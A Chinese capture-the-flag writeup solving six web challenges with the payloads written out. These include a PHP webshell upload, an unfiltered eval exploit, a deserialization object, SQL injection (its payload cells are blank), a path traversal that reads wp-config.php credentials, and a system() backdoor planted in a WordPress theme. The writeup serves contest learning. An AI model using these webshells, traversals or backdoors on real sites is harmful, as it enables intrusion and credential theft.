商丘师范学院第五届网络安全及信息对抗大赛 Web Writeup
商丘师范学院第五届网络安全及信息对抗大赛 Web Writeup 1. 传马(Web,困难,90pts) 页面只有一句提示:「好奇怪,为什么这个按钮点不动呢」。打开容器看到的是图片上传站,前端按钮带 disabled 属性。 assets/check.js 里已经把底牌写出来了: /* * 前端校验(全部可被绕过,仅提升"用户体验") * 注意:提交按钮在 HTML 里带了 dis…
商丘师范学院第五届网络安全及信息对抗大赛 Web Writeup
1. 传马(Web,困难,90pts)
页面只有一句提示:「好奇怪,为什么这个按钮点不动呢」。打开容器看到的是图片上传站,前端按钮带 disabled 属性。
assets/check.js 里已经把底牌写出来了:
/*
* 前端校验(全部可被绕过,仅提升"用户体验")
* 注意:提交按钮在 HTML 里带了 disabled 属性,正常情况下点不动。
* 真正的突破口是用 Burp 抓包改 filename / Content-Type。
*/
按钮点不动不影响直接发包。打开浏览器 DevTools,直接删掉 disabled 属性,然后在 DevTools Network 面板里抓到上传请求的 multipart/form-data,把 filename 和 Content-Type 参数改一下:
把
filename从sh.gif改成sh.php把
Content-Type从image/gif改成image/jpeg
然后在浏览器里再点一次「上传」按钮,文件就直接上传了,返回 上传成功:uploads/sh.php,访问后就能执行 system($_GET[c])。
flag 放在容器环境变量里,不用翻文件:打开 /uploads/sh.php?c=env,页面里可以看到 FLAG=flag{5cd65fdf-71de-4476-b936-7e21363eae31}。
这题是逐实例下发 flag 的。我先后开过两个容器:第一个读到 flag{316d7667-18e5-4af6-835c-32fc837f6e17};后面提交时已经换了实例,这个值被拒,重开容器重新打了一遍,读到 flag{5cd65fdf-71de-4476-b936-7e21363eae31},提交通过。
提交的 flag:flag{5cd65fdf-71de-4476-b936-7e21363eae31}
2. 我flag呢?(Web + 信息收集,中等,40pts)
首页源码里有一行注释:
<!-- 嗯…flag 好像不在这个页面。去 fllllllag.php 看看吧,记得带上 flag 参数 -->
fllllllag.php 是个把 GET 参数回显到 input value 的页面:
<input type="text" name="flag" value="test">
先把参数当成开关而不是内容。浏览器直接访问 /fllllllag.php?flag=flag,响应里多了一行:
<p>flag 是: flag{Oh!You_got_it!}</p>
提交的 flag:flag{Oh!You_got_it!}
3. ez_php(Web,中等,90pts)
首页直接把源码亮出来了:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
eval 前面没有任何过滤。直接在浏览器地址栏里访问 /?url=echo file_get_contents('/flag') 没有输出,因为 error_reporting(0) 加上页面先输出了源码,普通输出容易被忽略;用输出缓冲包一层就能拿到:
/?url=ob_start();echo file_get_contents('/flag');echo ob_get_clean();
浏览器直接显示:flag{Welcome-to-ctf-world!!!}
提交的 flag:flag{Welcome-to-ctf-world!!!}
4. 明天见(Web + MISC,困难,80pts)
提示只有一句:「单词之间用下划线连接」。首页标题是「记忆的碎片」,表单参数名 xilian,页面挂着一个 22 秒的视频,画面上反复出现 Honkai:Starrail、Cyrene Trailer OST、High Quality non-Vocal Version(Flac)。
视频里没有藏二维码,也没有字幕。结合题名「明天见」和提示的下划线格式,直接试了英文直译:
see_you_tomorrow
POST 后返回 302,Location: love.php,说明第一层口令对了。
love.php 页面标题是「众人将与一人离别」,挂第二个视频,源码里留了一行:
<!-- 下一关: cyrene.php -->
cyrene.php 是 PHP 反序列化:
class Secret {
public $key;
public function __construct($key) { $this->key = $key; }
public function __destruct() {
if ($this->key === "I_love_Cyrene") {
include "./flag.php";
echo "flag : ".$flag;
} else {
echo "Try harder!";
}
}
}
if (isset($_POST['mimi'])) {
$data = $_POST['mimi'];
$obj = unserialize($data);
} else {
highlight_file(__FILE__);
}
构造 Secret 对象,key 用严格相等的目标值:
O:6:"Secret":1:{s:3:"key";s:13:"I_love_Cyrene";}
用 Burp/浏览器 DevTools 把这个序列化字符串放进 mimi 参数 POST 到 cyrene.php:
POST /cyrene.php
Content-Type: application/x-www-form-urlencoded
mimi=O:6:"Secret":1:{s:3:"key";s:13:"I_love_Cyrene";}
返回 flag : flag{fff4c21d-8f6a-406d-8e80-1d6b4d047131}}。页面回显尾部多了一个 },按单括号的常规格式提交平台,通过。
提交的 flag:flag{fff4c21d-8f6a-406d-8e80-1d6b4d047131}
5. 四湖的秘密(Web,极难,90pts)
首页把玩法写在页面上:先保存订阅条件,再预览;四段残片按春、夏、秋、冬拼成 flag。表名规则也给了:lake_湖名拼音,内容在 note 列。
交互是两层:
POST save.php,带首页的csrf和topic;GET preview.php,后台用存下来的 topic 拼 SQL 查询。
保存需要会话里的 csrf,所以先取一次首页,再带着同一个 cookie 操作:
BASE="<实例地址>"
CK=cookie.txt
# 取首页,记下 csrf
GET /
# 读取 csrf 字段的 value
写个小函数,保存后立刻预览:
t() {
POST /save.php csrf=$CSRF topic=$1
GET /preview.php
}
四关的 payload 和返回:
关卡 | payload | 返回的残片 |
|---|---|---|
春明湖 |
|
|
夏梦湖 |
|
|
秋韵湖 |
|
|
冬泰湖 |
|
|
第三关按要求用 hex(),preview.php 会同时回显编码值和还原后的残片。第四关的提示是用 lake_key 筛唯一记录,实际直接 SELECT note 也把残片带出来了。
四段按顺序拼接:
flag{d5db0e + 12-44cd-45a + 0-892d-01d + 8fe66c88f}
= flag{d5db0e12-44cd-45a0-892d-01d8fe66c88f}
提交的 flag:flag{d5db0e12-44cd-45a0-892d-01d8fe66c88f}
6. 杨方的博客(Web,极难,100pts)
WordPress 6.8.2,主题 nogame。两条提示:先从站点读出后台管理员账号密码,再登录后台拿 flag;flag 在服务器的 /opt/backup/flag。
6.1 目录和线索
/wp-content/uploads/ 开了目录索引:
/wp-content/uploads/2026/10/notes.txt 114 字节
内容:
03:04 write access ok
03:12 dropped cache into site
03:17 cleaning up
03:24 /flag moved outside webroot
03:36 out
/wp-json/wp/v2/users 泄露管理员用户名 yangfang。
/about/ 页面里有一张头像,地址是:
/wp-content/themes/nogame/avatar.php?f=profile.jpg
这就是「可疑内容」。
6.2 avatar.php 的路径穿越
avatar.php 把参数拼到固定目录后读取文件。先让它报错看拼接路径:访问 /wp-content/themes/nogame/avatar.php?f=profile.jpg/.,报错里给出基目录:
is_file(): open_basedir restriction in effect. File(/var/www/html/wp-content/themes/nogame/assets/profile.jpg/.) ...
所以实际路径是 assets/ + f。代码会做一次 ../ 过滤,用 ....// 绕过。确认穿越成立:访问 /wp-content/themes/nogame/avatar.php?f=....//style.css,返回了主题样式。
assets/ 往上四层就是站点根目录,再请求 f=....//....//....//....//wp-config.php,把 wp-config.php 的源码读了出来。注释里直接写着后台口令:
/* ---- 备忘 ----
* 后台管理员:yangfang / YangFang!Blog@2026#kR7mQ2x
*/
6.3 登后台拿 flag
用这组账号登录 /wp-login.php,进入 wp-admin。PHP 的 open_basedir 限制在 /var/www/html,file_get_contents('/opt/backup/flag') 读不到,改用 system() 走 shell。
后台 → 外观 → 主题文件编辑器,编辑 nogame/functions.php,末尾追加:
if (isset($_GET['cmd'])) {
echo "OUT:";
system($_GET['cmd']);
echo ":END";
exit;
}
保存后访问 /?cmd=cat /opt/backup/flag 2>&1,页面输出:
OUT:flag{7bce6479-e5b4-4e9a-a1b6-10a22fd5a5a6}:END
提交的 flag:flag{7bce6479-e5b4-4e9a-a1b6-10a22fd5a5a6}